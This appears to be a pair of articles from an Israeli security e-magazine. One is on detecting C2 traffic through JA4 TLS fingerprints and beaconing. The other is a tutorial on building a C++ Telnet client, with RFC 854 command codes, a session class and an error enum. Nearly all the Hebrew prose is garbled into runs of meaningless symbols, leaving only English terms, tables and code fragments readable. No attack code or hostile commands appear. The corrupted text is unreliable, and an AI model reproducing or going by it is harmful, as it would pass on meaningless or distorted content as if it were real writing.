¶ ˪˩ˣˮ ˪˷ˬ˪  ˫ˣ˯˥˪  ˰ ˡ˧ˬ ˦˶ˣ˲˟ нфмт ˶˷˞ ˫˧˞˸ˬ  π˪JA4X  ˣˮ˧ˢ˧ˤ˷ Φ 

¶ ˪˩ˣˮ ˫ˣ˯˥˪  ˸˞  ˸˶˷ sπC2  ˰ Ϧ ˧ ˸ ˬ˧˸˥ sπJA4H  ˸˧ˡˣ˥˧˷ x˪ Φ 

¶ ˪˩ˣˮ  ˸ ˣˢˤ˪  ˸ ˞ ˸˶ˣ˟˰˸ s πTLS ύJA4/S ό ˸ ˧ˡˣ˥˧ˢ  ˧ ˸˶˷˪ sπC2 ˭˧˧˲ˬ˵˟Φ  

 

 

˵˶˲ˢ   x ˮˡˬ˪  ˨˧˞  ˥˸ˮ˪   ˸ ˣˠ˪˲˸ˢ   ˪ ˷  ˰ˡ˧ˬ   ɣ ˴ˣˬ˷  π˟!ǊƪƛƳŜ  ˪˰  t/!t   ˰ ˣ˶˧˞ˬ  ˸ˬ˞  Φˣˮ˪˥˸ˢ  ˢˮ˟ˢˬ   ˪ ˰  

˸ˣ˞˶˸ˢ  πs{ǳǊƛŎŀǘŀκ½ŜŜƪ  ˧ˡ˩˟   ˭ ˧˟ˢ˪   ˪ ˩ˣˮ˷  ˶ˣ˵˥˪   ˸ ˞  πt/!t  ˫ˠ  ˫˧˰˴ˬ˞˟  Ϧ ˫ ˧˪˧ˠ˶  Ϧ-   ˧ ˲˩   ˧ ˸ˬˠˡˢ˷  

˫˧˵˶˲˟ ˫˧ˬˡˣ˵ˢ  Φ 

ˣˮ˩˷ˬˢ  ˥ˣ˸˧ˮ˪  ˸ˣ˧˪ˬˣˮ˞  ˸ˣ˰˴ˬ˞˟  πs5ŀǎƘōƻŀǊŘǎ  ˫˧ˮˣ˷ˢ  ˣ˶˷˲˞˷  ˡˣˬ˪˪  ˡˣ˰  ˪˰  ˸ˣ˧˪ˬˣˮ˞ˢ  ˪˩ˣˮ˷   ˸ ˣˢˤ˪  

π˟t/!t ˶˥˞ ˶˥˟ˮ˷  - ˫ˠˣ ˫˷ ˣˮ˧ˢ˧ˤ  ˸˞ sπLƻ/ ˪˷  ˰ ˣ˶˧˞ˢΦ 

˱ˣ˯˟˪  Σ˧˸ˡ˵ˬ˸ˢ   ˨ ˧˞˟   ˪ ˩ˣˮ  ˡˣ˴˪  ˸ˣ˪ˣ˰˲  ˸ˣ˧ˮˣˡˤ   ˟πt/!t  ˸ˣ˰˴ˬ˞˟  ˵˷ˬˬ   ˥ ˣ˸˧ˮ˪   ˸ ˣˠ˪˲˸ˢ   ˰ ˡ˧ˬˢ  

ύ{tL±ƛŜǿ  ό x ˮ˪˟˧˵˷  ˫˰  !ǊƪƛƳŜ  Φˣ˩˶ˡ  ˧˸ˡ˵ˬ˸ˢ  ˸ˠ˴ˢ˟  ˥ˣ˸˧ˮ  ˸ˣˬ˧˸˥  πsW!пҌ  ˢˣ πaŜǘŀŘŀǘŀ  ˭ˢ˷  ˸ˣˠ˴˧˧ˬ Φ 
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 ˫ ˣ˩˧˯ - ˢ˧˪ˬˣˮ˞ Σ˸˶ˣ˷˵˸ ˸ˮ˲˴ˣˬ xπMalcolm 

˯ˡˮˢˬ˩  ˶˟˧˧˯  ˧˸ˮ˧˧ˮ˰˸ˢ  ˭˲ˣ˞˟  ˣ˟  ˪˩ˣ˞  ˶ˣ˵˥˪  t/!t  ˢ˶ˣ˴˟  ˸˧˦˵˶˲  -  ˷ˠˡ˟  ˪˰  ˸˶ˣ˷˵˸  ˸ˮ˲˴ˣˬ  Φ ˧ ˸˧˴˶  

˪˟˵˪ ˫˧˪˩  ˫˧˧˯˧˯˟  ˢˡˣ˟˰˪  ˣ˶˷˲˞˧˷   ˧ ˪  ˸ ˣˢˤ˪ ˸ˣ˧˪ˬˣˮ˞ ˧ˮ˧˧˲˞ˬˣ ˸˶ˣ˷˵˸  -  ²ƛǊŜǎƘŀǊƪκǘǎƘŀǊƪ Φ 

˨˩  ˧˸ˠ˴ˢ  ˨˧˞  ˪˩ˣˮ   ˴ ˬ˪˸ˣ  ˰ˡ˧ˬ  ˶˷˲˞ˬ˷  ˣˮ˪  ˭ˣ˥˟˪  ˸ˣ˧˪ˬˣˮ˞  ˣˬ˩  .ŜŀŎƻƴƛƴƎ  Σ/ŜǊǘƛŦƛŎŀǘŜ  ΣπxW!оκ{  -   ˸ ˞ˤ  

 ˪ ˷˟ ˢˡ˟ˣ˰ˢ ˶˸ˣ˧˷  ˶ ˸ˣ˧ˣ ˸ˣ˵ˤˣˮ  ˸ˣ˷ˣ˰  ˷ˣˬ˧˷ ˸˶ˣ˷˵˸˟  ˸ˮ˲˴ˣˬ  ˪ ˰ ˸ˮˬ  ˸ ˣˣ˯ˢ˪ ˸˞ ˭ˢ˧˸ˣ˪ˣ˰˲Φ 

 ˪ ˧˟˵ˬ˟  ˧˸ˮ˟ˢ   ˪ ˩ˣ˞˷   ˵ ˧˯ˢ˪  ˸ˣˮ˵˯ˬ   ˸ ˣ˲˯ˣˮ   ˫ ˞  ˢ˷˰˞   ˷ ˣˬ˧˷   ˫ ˧˪˩˟   ˫ ˧ˬˡ˵˸ˬ  ˣˬ˩  aŀƭŎƻƭƳ  Σ ˞ ˧˟ˬ˷  

 x ˸˧˞ ˸˟˧˟˯ ˢ˶˧˵˥ ˢ˞˪ˬ  Φ 

 ˧ ˸˧˴˶   ˶ ˣ˵˯˪  ˨˧˞  ˡˣ˴ˮ  ˸ˣ˰˴ˬ˞˟   ˸ ˣˬ˧˸˥   ˸ ˪˧˟˥  W!пҌ  Σ ˨ ˩   ˪ ˩ˣˮ˷  ˸ˣˢˤ˪  ˸˶ˣ˷˵˸  ˸˧ˮˣˡˤ   -   ˫ ˠ   ˫ ˞   ˱ ˵ˣ˸ˢ  

 ˭ ˮ˰˶˧   ˸ ˞   ˸ ˣ˧˸˷˸ˢ  ˣ˪˷  Φ ˧ ˶ˢ   ˫ ˞˷   l ˵ˬ˸ˮ   ˨ ˧˞˟  πx ˧ ˬ ,   ˪ ˩ˣˮ  ˸ˣˢˤ˪  ˸ˣ˧ˣˠˢˮ˸ˢ   ˸ ˣˮˣ˷  ˪˰   ˯ ˧˯˟  ˸ˣˬ˧˸˥  πsW!  

˸ˣˮˣ˷ˢ ˶˷˵˪ˣ  ˸˞  ˭˸ˣ˞ ˸ˣ˪ˣ˰˲ ˣˮˠˣˣ˧˯˷ ˸ˣ˧ˮˣˡˤ˩  ˫ˠ  ˫˧˶˵ˬ˟ ˫˧˲˯ˣˮ Φ 

ˣˮ˥˩ˣˣ˧ˢ  ˨˩˟  π˷W!пҌ  ˶˷˲˞ˬ  ˣˮ˪  ˰˴˟˪  ˥ˣ˸˧ˮ  ˟˶π˧ˡˬ˧ˬ  ˯˯˟˸ˬˢ  ˪˰  ˫˧˶˦ˬ˶˲  ˫˧ˮˣ˷  ˫˧ˮ˧˧˲˞ˬ˷   ˸ ˣ˶ˣ˷˵˸  

˪ˣˬ  ˧˸˶˷  /н  ˸ˣ˧ˣˠˢˮ˸ˢˣ  ˸ˣ˧ˮˣˡˤ  ˫˧˯ˮˬ˷  ˸ˣˣ˯ˢ˪  ˸˶ˣ˟˰˸˟  ˸˷˶  Φ˸˞ˤ  ˡˣˠ˧ˮ˟  π˪W!о  ˶˷˞  ˞˪  ˡ˧ˬ˰   ˧ ˧ˮ˲˟  

˱˵ˣ˸  ˢ˵˥ˬ˷  ˢˬ˧˸˥ ˪˷  ˧ ˪˩ ˧ˬ˧˦˧ˠ˪ Σ˰ˡˣ˧ˣ   ˫ ˣ˸˥˪  ˵ ˶ ˸˶ˣ˟˰˸  ¢[{  Φ 

˭˟ˣˬ˩   ˫ ˠ˷   ˟πW!п  ύ˸ˬ˧˸˥   sπ¢[{  ό ˷ ˧   ˧ ˣ˩˧˯  ˸ˣ˵˥˸ˢ˪   ˪ ˷  ˱˵ˣ˸  Φˢˡ˟ˣ˰ˢ  ˷˧˷  ˯ˬ  ϥ˸ˣˬ˧˸˥  ˸ˣ˪ˣ˩˧˷   ˶ ˧˟˯ˢ˪  

˨˧˞  ˧ˬˣ ˸ˣ˶˷˲˞ˬ  ˣˮ˪ ˭ˮ˯˪ ˢ˶ˣ˴˟ ˸˧˪ˬ˧˦˲ˣ˞ ˸˞ ˧ˣ˩˧˯ˢ  ˨˩˪Φ 

˱ˣ˯˟˪  ˣˮ˰˴˧˟  ˷ˣˬ˧˷  ˸˩˶˰ˬ˟  aŀƭŎƻƭƳ  ˢ˷˧ˠˮˬ˷  ˸˞  ˪˪˩  ˰ˡ˧ˬˢ  ˪˰  ˸ˮˬ  ˸ˣˢˤ˪  ˸ˣ˧˪ˬˣˮ˞  ˸ˣ˲˯ˣˮ   ˧ ˪˟ˬ  

ˡˣ˟˰˪  ˢ˷˵ ˧ˡ˧ˬ  ˫ ˰ ˫˧˪˩ ˫˧˧˯˧˯˟ Φ 

˧˶˵˧˰ ˫˧˶˟ˡˢ Υ 

1Φ ˧ˣˢ˧ˤ ˢ˶ˣ˟˰˸ ˧˸˶˷˪ C2  ˞ ˪˷ ˸˯˯ˣ˟ˬ  ˥ ˶˩ˢ˟ ˪˰ IoCΦ 

aΦ ˟πJA3  ˞˪   x ˮ˪˩˧  ˡˣˬ˪˪   x ˢ˷ˬ  ˪˰  ˸ˬ˧˸˥  ˢ˶ˣ˟˰˸  ˸ˮ˲˴ˣˬ  ύˡ˥π˧ˡˬ˧ˬ  όˡˣˠ˧ˮ˟  ˢ˶˧˵˥˪   ˫ ˰  

JA4H/JA4X ύ˟˶π ˧ ˡˬ˧ˬ Φό 

bΦ ˭˩ˣˬ˩  Σˢˡ˟ˣ˰ˢ  π˷ҌJA4   ˶ ˴˧˧ˬ  ˸ˣ˥˲  FP  ˸˩˲ˣˢ  ˣ˸ˣ˞  ˧˦˵˶˲˪  ˸ˬ˧˸˥˟  ˸ˣ˶ˣ˷˵˸  TLS  Φ l ˥ˣ˧ˬ˟  

˧˶˷˵ˢ˟ JA ImparsonatingΦ 

2Φ ˫˞˸ˢ˟  ˸ˣˠ˪˲˸ˢ˪ ˪˷ ˸ˣˬ˧˸˥  ˸ ˣˮˣ˷  x ˮˡˬ˪ ˨˧˞ ˢ˞˶ˮ ˰ˡ˧ˬ ˧˪ˬˣˮ˞   ˪ ˷ ˢ˵ˤˣˮ Φ 

aΦ Self-signed certificates ΣBeaconing Σ˧˞ ˢˬ˞˸ˢ ˸ˣˡ˷˟ ˪ˣ˵ˣ˦ˣ˶˲Φ 

3Φ ˷ˣˬ˧˷  ˸ˣˬ˧˸˥˟  ˶˷˲˞  ˣˮ˪  ˷˲˥˪  ˸ˣˠˢˮ˸ˢ  ˢˬˣˡ  ˸˶˷˲˞ˬ˷  ˢ˲˧˷˥  ˪˷  ˸ˣ˟ˣ˸˩  IP  ˸ˣ˶˟ˡˬˢ   ˫ ˸ˣ˞˟  

˫˧ˮ˧˧˲˞ˬ Φ 

aΦ ˢˮ˰ˬ ˫˧˞˸ˬˢ  ˫ˠ  ˢ˶˵ˬ˪  ˣ˟  ˱˵ˣ˸ˢ ˭ˮ˰˶ˬ  ˸˞ ˸˧˸˷˸ˢ ˣ˪˷ Φ 
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  ¢ŜƭƴŜǘ 

˸˞ˬ  ˫ ˣ˪˞ ˫˰ˣˮ 

 

 s ˬˡ˵ˢ 

Telnet  ˞ˣˢ  ˪ˣ˵ˣ˦ˣ˶˲  ˦ˣ˷˲  ˡˣ˞ˬ  Σ˧ˮ˞  ˟˷ˣ˥  ˸˧˧ˮ˟˷  ˥ˣ˵˪  Telnet  ˭˦˵   s ˤ  ˦˵˧ˣ˶˲  ˭˧˧ˣ˴ˬ  ˧ˡ˩  ˡˣˬ˪˪   ˶ ˸ˣ˧   ˪ ˰  

˸ˣˮ˩˸  ˫˧˪ˣ˵ˣ˦ˣ˶˲  Φ ˶ ˷˞˟ˣ   ˧ ˪  Σ ˧ ˸˧˧ˢ  ˨˧˶˴  ˷ˬ˸˷ˢ˪  π˟Telnet   ˦ ˵˧ˣ˶˲˟  ˶˥˞   ˧ ˮ˞˷  ˡ˟ˣ˰  ˣ˧˪˰  Σ ˭ ˧˞ˣ   ˸ ˬ˞˟  

ˢ˧˧˶˲˯  ˢ˶ˣ˶˟  ˢ˸˧˞˷   ˧ ˞ˡ˩   l ˣ˟˰˪   ˫ ˰  ˪ˣ˵ˣ˦ˣ˶˲ˢ  ˢˤˢ  π˟CPP  ύˣˬ˩  ˪˷ˬ˪  libssh   ˪πSSHόΦ  ˧˪ˣ˞   ˫ ˣ˷ˬ  

˪ˣ˵ˣ˦ˣ˶˲ˢ˷ ˸ˬ˞˟ ˢˤ˩ ˦ˣ˷˲Φ ˭˩˪ˣ Σ ˧ ˸˦˪˥ˢ ˸ˣˮ˟˪ ˢ˧˧˶˲˯ header only  π˪Telnet Φ 

¶ ˳˟ˣ˵ Header only ˞ˣˢ  ˳˟ˣ˵  ˢ˪˪˩ˢ ˣ˟˷ ˶ˡˠˣˬ  ˫ ˠ ˢ˶ˡˠˢˢ ˫ˠˣ ˰ˣ˴˧˟ˢ ˪˷ ˡˣ˵ˢ Φ 

¶ ˷˧  ˢ˧˧˶˲˯  ˡˣ˞ˬ  ˢˡˬ˥ˮ  π˟GitHub  ˢˬ˷ˣπtelnetpp  Σ˧ˮ˞  ˧˸˶˥˟   ˟ ˣ˸˩˪  ˢ˧˧˶˲˯  ˪˷ˬ  ˧ˬ˴˰  ˧ˡ˩   ˸ ˣ˥˲  

˨ˬ˸˯ˢ˪   ˪ ˰  ˸ ˣ˶ˣ˵ˬ ˫˧˧ˮ˷ˬ Φ 

 

˸˴˵ ˰˵˶  ˪˰ Telnet  

Telnet  ˞ˣˢ  ˪ˣ˵ˣ˦ˣ˶˲  ˵˧˸ˣ  ˡˣ˞ˬ  ˭ˮ˩ˣ˸ˣ  ˢ˲ˣ˵˸˟  ˢ˟˷  ˸˥˦˟˞  ˰ˡ˧ˬ  ˞˪  ˢ˸˧˧ˢ  ˪ˣ˵˧˷  ˧˸ˣ˰ˬ˷ˬ   ˭ ˣˮ˩˸˟  

˸ˣ˩˶˰ˬ  ˸˶ˣ˷˵˸ Φ   ˞ ˣˢ  ˪˰ˣ˲  ˪˰  ˧˟ˠ  TCP  ˷ˬ˷ˬˣ  ˸˶ˣ˷˵˸˪   ˸ ˧˪˞ˣ˦˯˵˦  ˸˧˟˧˦˵˞˶˦ˮ˧˞  ˭˧˟  ˥ˣ˵˪   ˸ ˶˷˪  Σ

˟ˣ˶˪ ˸ˣ˰˴ˬ˞˟ ˸˶ˣ˷ ˢˡˣ˵˲Φ 

˸˥˞  ˸ˣ˧˰˟ˢ  ˸ˣ˧ˤ˩˶ˬˢ  π˟Telnet  ˞˧ˢ  ˢˡ˟ˣ˰ˢ  ˪˩˷  ˫˧ˮˣ˸ˮˢ  ˪˪ˣ˩  ˫˷  ˷ˬ˸˷ˬˢ  ˢˬ˯˧˯ˢˣ   ˫ ˧˶˟˰ˣˬ   ˦ ˯˵˦˟  

˧ˣ˪ˠ  ˞˪˪  ˢˮ˲˴ˢ  ˧ˢ˷˪˩  Σˣˤ  ˵ˣ˧ˡ˟  ˢ˟˧˯ˢ  ˨˩˪  ˞ˣˢ˷   ˟ ˷˥ˮ  ˫ˣ˧ˢ   ˪ ˣ˵ˣ˦ˣ˶˲˪  ˰˧ˠ˲   l ˣ˞ˬ  ˪˰   ˸ ˥˞  ˬ˩ s ˢˬ˩ˣ  

˶˷˞˩  ˶ ˟ˣˡˬ ˸ˣ˸˷˶˟ ˸ˣ˥ˣ˸˲ x˞  ˸ˣ˲ˣ˷˥  ˦ˮ˶˦ˮ˧˞˪ Φ 

˸ˣ˶ˬ˪  ˸˞ˤ  ΣTelnet  ˭˧˧ˡ˰  ˞˴ˬˮ  ˷ˣˬ˧˷˟  ˶ˣ˲˯ˮ˧˞˟  ˸ˣ˩˶˰ˬ ,  ˶˵˧˰˟  ˪ˣˢ˧ˮ˟  ˧ˡˣ˧˴  ˸˶ˣ˷˵˸  ˫˧ˮ˷˧  ˣˬ˩  ˫˧˟˸ˮ  Σ

˫˧ˠ˸ˬ  ˫˧ˬˡˣˬˣ  Σ˫ˢ˟˷  ˭˧˞  ˵˷ˬˬ  ˧ˮ˶ˡˣˬ   ˶ ˸ˣ˧  ύˣˬ˩  SSHόΣ  ˣ˞  ˫ˢ˟˷  Telnet  ˪˰˲ˣˬ  ˸˶˧˶˟˩  ˪ˡ˥ˬ  Φ˥˦˷˟  Σ

˶˶˟˸ˬ  ˫ˠ˷ ˪ˣ˵ˣ˦ˣ˶˲  ˪ ˩ ˨˩  ˦ˣ˷˲ ˞˪ˣ ˥˦˟ˣ˞ˬ ˭˧˧ˡ˰ ˧˥ ˦˰ˣ˟ˣ Φ 

 

 

 

http://www.digitalwhisper.co.il/
https://en.wikipedia.org/wiki/Header-only
https://github.com/
https://github.com/KazDragon/telnetpp
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˶ˣˤ˥ˬ  ˫ ˧˧˥ˢ ˪˷ ˶ˣ˟˧˥ Telnet 

˧ˡ˩ ˶ˣˤ˰˪ ˫˩˪  ˭˧˟ˢ˪  ˸˞ ˶ˣˤ˥ˬ  ˫ ˧˧˥ˢ ˪˷  ˶ ˣ˟˧˥ Telnet ˧˸ˮ˩ˢ ˸˞ ˢˬ˶ˠ˞˧ˡˢ  s ˞˟ˢ Υ 

 

 

¶ sπnegotiation ˸ˣˡˣ˵˲ˢˣ  ˪˰   x ˸ˣ˞ ˶ˣ˟˧˥  TCP Φ 

 ˶ ˥˞˪  ˸˶˧˴˧  TCP Session   ˪ ˰  ˦˶ˣ˲   ˫ ˧ˣ˯ˬ  ύ˞˶ˣˬ   ˸ ˣ˧ˢ˪  но  Σό s  ˸˶˷-Telnet  ˶ˣˬ˞  ˪˧˥˸ˢ˪  ˸˞  ˟˪˷   sπ

Negotiation  Σ ˟ ˪˷ ˢˤ  ˥ ˧˦˟ˬ ˸˶˷ˢ˷   ˥ ˣ˵˪ˢˣ  ˫ ˧ˬ˧˩˯ˬ  ˪ ˰ ˫˧˵ˣ˥   ˫ ˧˰ˣ˟˵ ˣ˸ˣ˞˪ Session Φ 

˶˥˞˪  ˟˪˷   s-Negotiation  Σ˭˸˧ˮ  ˪˧˥˸ˢ˪  ˥ˣ˪˷˪  ˸ˣˤˣ˶˥ˬ  ύstringsόΣ  ˟ˣ˶ˣ  ˢ ˧˸˶˷-Telnet   ˫˧˶ˣˬ˞   ˭ ˧˟ˢ˪  

 ˭ ˸ˣ˞ ˸ˣˡˣ˵˲˩ Φ 

 

http://www.digitalwhisper.co.il/
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˟˪˷ sπNegotiation 

 ˧ ˯˥˧  ˸ ˶˷κ˥ˣ˵˪ ˟πTelnet ˫˧˵ˤ˥ˣ˸ˬ ˪˰   ˧ ˡ˧ s ˸ ˣˡˣ˵˲ ˸ˣ˞˟ˢ Υ ύ˧˲˪ sπRFC ό 

˫˷  l ˣ˵ ˸ˣ˰ˬ˷ˬ 

SE 240  ˫ ˣ˧˯ ˟˪˷ ˸˸π˞˷ˬ ˭˸ˬˣ  
ύSubnegotiation Φό 

NOP 241 ˭˧˞ ˢ˪ˣ˰˲ ύNo Operation Φό 

Data Mark 242  ˭ ˣˬ˧˯  ˫ ˶ˤ˟ ˫˧ˮˣ˸ˮˢ ˨˪ˢˬ˟  
˭ˣ˶˩ˮ˯ Φˢˣˣ˪ˬ  ˢ˞˶˸ˢ˟  ˢ˲ˣ˥ˡ 

ύUrgent  ό˪˷  TCPΦ 

Break 243 ˸˥˧˪˷  x ˸ BRK Φ 

Interrupt Process 244  ˸ ˡˣ˵˲ IP Σ ˸ ˵˯˲ˢ ˨˧˪ˢ˸ ˧˥˩ˣˮΦ 

Abort output 245 ˪ˣ˦˧˟ ˦˪˲ Φ 

Are You There 246 ˢ˵˧ˡ˟  ˫ ˞ ˡ˴ˢ  ˧ ˮ˷ˢ ˭˧˧ˡ˰  
˶˟ˣ˥ˬ Φ 

Erase character 247 ˸˵˧˥ˬ ˣ˸  ˡ˥˞ Φ 

Erase Line 248 ˸˵˧˥ˬ  ˸˶ˣ˷ ˦˪˵ Φ 

Erase Line 249 ˭˸ˬ ˸ˣ˷˶  ˥ˣ˪˷˪ ˫˧ˮˣ˸ˮ Φ 

SB 250  ˸ ˪˧˥˸ ˸˸π ˞ ˷ˬ  ˭ ˸ˬˣ ˶ˣ˟˰  
 ˸ ˣ˶˷˲˞ˢ ˢˮ˧ˣ˴˷Φ 

WILL (option code) 251 ˭˧˧˴ˬ  ˭ˣ˴˶  ˪˧˥˸ˢ˪ x˞ ˶ˣ˷˧˞  
ˡ˴ˢ˷ ˰˴˟ˬ ˸˞ ˸ˣ˶˷˲˞ˢ  
ˢˮ˧ˣ˴˷ Φ 

WON'T (option code) 252 ˟ˣ˶˧˯  ˰˴˟˪ x˞ ˨˧˷ˬˢ˪   ˰ ˴˟˪ 
˸˞ ˸ˣ˶˷˲˞ˢ  ˢˮ˧ˣ˴˷Φ 

DO (option code) 253 ˢ˷˵˟  ˣ˞  ˢ˷˧˶ˡ ˡ˴ˢ˷ ˧ˮ˷ˢ  
 ˰ ˴˟˧ ˸˞ ˸ˣ˶˷˲˞ˢ ˢˮ˧ˣ˴˷Φ 

DON'T (option code) 254  s ˷˧˶ˡ ˡ˴ˢˬ  ˧ ˮ˷ˢ ˵˧˯˲ˢ˪  
 ˰ ˴˟˪  ˸ ˞ ˸ˣ˶˷˲˞ˢ ˢˮ˧ˣ˴˷ Φ 

IAC 255 ˣ˸ ˡ˥ˣ˧ˬ  ˭ ˧˧˴ˬˢ  ˸ ˡˣ˵˲˷ Telnet  
 ˸ ˡˬˣ˰ ˰˧ˠˢ˪  ύInterpret As 

Command Φό 

 

http://www.digitalwhisper.co.il/
https://datatracker.ietf.org/doc/html/rfc854#page-14
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˭ˣ˧˪˧ˠ˟ ˢˤ  ˧ˮ˞  l ˵ˬ˸˞ ˸ˣˡˣ˵˲˟  ˸ ˣ˞˟ˢ Υ 

¶ IAC 

¶ DO 

¶ DONT 

¶ WILL 

¶ WONT 

ˣˬ˩ ˭˸˧ˮ˷   ˸ ˣ˞˶˪ ˢ˪˟˦˟ Σ˸ˣˡˣ˵˲  ˣ˪˞ ˸ˣ˷ˬ˷ˬ ˧ˡ˩˟   ˪ ˧˰˲ˢ˪κ˸ˣ˟˩˪ ˸ˣ˧ˣ˶˷˲˞  ˸˶˷˟  x ˞ ˥ˣ˵˪  Σ˸ˣ˧ˣ˶˷˲˞  

 x ˪˞ ˸ˣ˶˧ˡˠˬ ˨˧˞  ˧˪ˢˮ˸ sπSession Σˢˮˢ ˢˬ˩ ˸ˣ˧˴˲ˣ˞  ˞ˬˠˣˡ˪ Υ 

˫˷  l ˣ˵ ˸ˣ˰ˬ˷ˬ 

BINARY 0  ˷ ˣˬ˧˷ ˢ˶ˣ˟˰˸˟ ˸˧˶˞ˮ˧˟ Φ 

ECHO 1 ˶˷˲˞˪ ˷ˣˬ˧˷  π˟EchoΦ 

NAWS 31 ˸˰˧˟˵  ˪ˡˣˠ  ˸ ˧ˮˣ˪˥ 

STATUS 5  ˷ ˵˟  x ˞ ˥˪˷ ˯ˣ˦˦˯ ˪˷   ˸ ˥˞ 
˸ˣ˧˴˲ˣ˞ˢΦ 

 

 

¶ ˢˬ˧˷˶˪ ˢ˞˪ˬˢ   ˪ ˷ ˸ˣ˧˴˲ˣ˞ˢ Σ˭˸˧ˮ   ˸ ˣ˲˴˪ ˟˦˶˲ˬ   ˪ ˷ IANAΦ 

˧ˡ˩˟ ˸˶˷ˢ˷   ˥ ˣ˵˪ˣ  x ˰ˡ˧ ˰ˡ˧ˬˢ˷ ˪˟˵˸ˬˢ ˞ˣˢ ˵˪˥ ˥˧˷ˢˬ ˢˤˢ Σˡ˧ˬ˸  ˥ ˪˷˧ ˢ˪˧˥˸ ˦˧˧˟ˢ  IACΣ  ˶˥˞˪ˣ  

˭˩ˬ  s ˡˣ˵˲ˢ. ˢˡ˧ˬ˟  ˨˧˶˴ˣ˫ˠ ˥˪˷˸ , ˢ˧˴˲ˣ˞ˢ Φ 

 

 

 ˶ ˥˞˪ ˥˪˷ˮ˷ sπIAC ˭ˣ˶˥˞ˢ  ˸˶˷ˢˬ Σ˶ˣ˟˧˥ˢ  Telnet  ˶ ˴ˣˮ ˢ˥˪˴ˢ˟ Η 

 

http://www.digitalwhisper.co.il/
https://www.iana.org/assignments/telnet-options/telnet-options.xhtml
https://www.iana.org/assignments/telnet-options/telnet-options.xhtml
https://www.iana.org/assignments/telnet-options/telnet-options.xhtml
https://www.iana.org/assignments/telnet-options/telnet-options.xhtml
https://www.iana.org/assignments/telnet-options/telnet-options.xhtml
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˸˰ˬ˦ˢ Telnet 

˵˪˥  ˢˤ  ˡ˵ˬ˸ˬ  ˢ˰ˬ˦ˢ˟  ˪˷   ˥ ˣ˵˪  Telnet  π˟CPPΣ  ˨˞  ˧ˮ˞  ˥ˣ˦˟  ˫˞˷  ˷˧  ˫˩˪  ˸˴˵  ˰˵˶  ˸ˣˮ˩˸˟   x ˪˩ˣ˸  

Ϧ˫ˠ˶˸˪ Ϧ˨˧˶ˡˬ ˢˤ ˪˩˪ ˢ˲˷ Φ 

¶ ˟ˣ˷˥   ˧ ˪ ˭˧˧˴˪  ˸ ˟ˣ˦˪˷ ˶ˬ˞ˬˢ ˧˸˶˥˟  ˦˷˲˪  ˸˞ ˡˣ˵ˢ  ˷˶ˡˮ˷  ˧ ˡ˩ ˶ˣ˴˧˪ ˥ˣ˵˪ Telnet  Σ˸ˣ˶ˬ˪ˣ  ˪ ˩ˢ˷  

ˡˣ˟˰˧  x ˬ˩  ˨ ˧˶˴˷, ˢˤ ˞˪  ˢ˧ˢ˧  ˥ˣ˵˪ Telnet ˧˰ˣ˴˵ˬ Φˡˣ˵ˢ ˠ˴ˣˬˢ ˭˞˩ ˞ˣˢ ˵˶ ˧ˡ˩ ˶˧˟˰ˢ˪  ˸˞  ˫ ˧˟˪˷ˢ  

˫˧˯˧˯˟ˢ ˫˧˷˶ˡˮˢ ˧ˡ˩  ˶ˣ˴˧˪  ˶ˣ˟˧˥  Σ˞˪  ˵˧ˤ˥ˢ˪ ˣ˸ˣ˞ ˢ˶ˣ˷˩Φ 

 

˸˧˷˞˶  ˥ ˸˲˞ Class  ˷ ˡ˥ Σ ˪ ˷ˬ˪ ˫˰  ˫˷ˢ  Session Υ 

#ifndef  RTELNET_H 
#define  RTELNET_H 
  
inline  constexpr  int  RTELNET_SUCCESS = 0;  
inline  constexpr  int  RTELNET_PORT    = 23;  
  
class  session {  
 public :  
    int  _port = RTELNET_PORT; 
    const  char * _address;  
    std:: string  _username;  
    std:: string  _password;  
  
   session(  
      const  char * address,  
      const  std:: string  username,  
      const  std:: string  password,  
      int  port = RTELNET_PORT 
    ) :  
      _address(address),  
      _username(username),  
      _password(password),  
      _port(port) {}  
 private :  
    bool  _connected = false ;  
    bool  _negotiated = false ;  
    bool  _logged_in = false ;  
    int  _fd;  
};  
  
#endif  // RTELNET_H 
  

 

 

 

 

 

http://www.digitalwhisper.co.il/
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ˣˬ˩  ˫ ˸˞˷ ˫˧˰ˡˣ˧  ύˣ˞  ˞˪ όΣ CPP ˞˪ ˨ˬˣ˸ ˸ˣ˸˷˶˟ ˢ˪˧˥˸  ύ˞˪  ˪ ˣ˪˩ ˟πStandard libraryό Φ ˢˤ  ˶ ˬˣ˞ ˟˧˧˥˷  

˷ˬ˸˷ˢ˪   ˧ ˢ˷ˣˤ˧˞˟ ˢ˧˶˲˯ ˸˧ˮˣ˴˧˥ ˧ˡ˩  ˶ˣ˴˧˪  ˸˞ sπTCP session  Σ ˸ ˟ˣ˦˪ ˢ˪ˣ˰˲  x ˤ ˧˸˶˥˟ ˷ˬ˸˷ˢ˪  

˸ˣ˧˶˲˯˟  ˸ ˣ˞˟ˢ Υ˧˲˧˴˲˯  π˪POSIX/Linux) ό 

¶ sys/socket.h 

¶ netinet/in.h 

¶ arpa/inet.h 

 

˧ˮ˞ ˟ˣ˸˩˞  Class ˦ˣ˷˲ ˸˥˸  Session ˧ˡ˩  ˪ˢˮ˸ˢ˪  ˫ ˰ ˶ˣ˟˧˥ˢ  TCP Σ ˨ ˞  ˧ ˮ˲˪ ˢˤ, ˰˟˵ˮ  ˧ˡˣ˵ ˢ˞˧˴˧   ˸ ˰˟  

˸ˣ˪˵˸ˢ ˢ˞˧ˠ˷˟ Υ 

enum Errors  {  
  ADDRESS_NOT_VALID   = 210,  
  CANNOT_ALOCATE_FD   = 211,  
  CONNECTION_CLOSED_R = 212,  
  NOT_CONNECTED       = 213,  
  FAILED_SEND         = 214,  
  PARTIAL_SEND        = 215 
};  
  

 

˧ˡ˩ ˰ˮˬ˧ˢ˪ ˶˧ˤ˥ˢ˪ˬ Exception Σ ˫ ˠ ˸ˮ˧˥˟ˬ ˸ˣ˧˥ˣˮ ˢ˧˶˲˯˩ ˫ˠˣ ˸ˮ˧˥˟ˬ ˸ˣ˶˧ˢˬΣ ˶˧ˤ˥ˮ  integer Φ  ˧ ˲˪ ˨˶˰  

ˢˤ ˷ˬ˸˷ˬˢ ˪ˣ˩˧  ˪ˢˮ˸ˢ˪ ˸˰˟  s ˞˧ˠ˷ Υ 

¶ 0 x˞ RTELNET_SUCCESSΥ ˶ˬˣ˞ ˣˮ˪  ˢ˪ˣ˰˲ˢ˷ ˢ˥˧˪˴ˢ Φ 

¶ нлл ˢ˦ˬˣ Υ  ˶ ˧ˤ˥ˬ ˸˞  ˸˞˧ˠ˷  errno Φ 

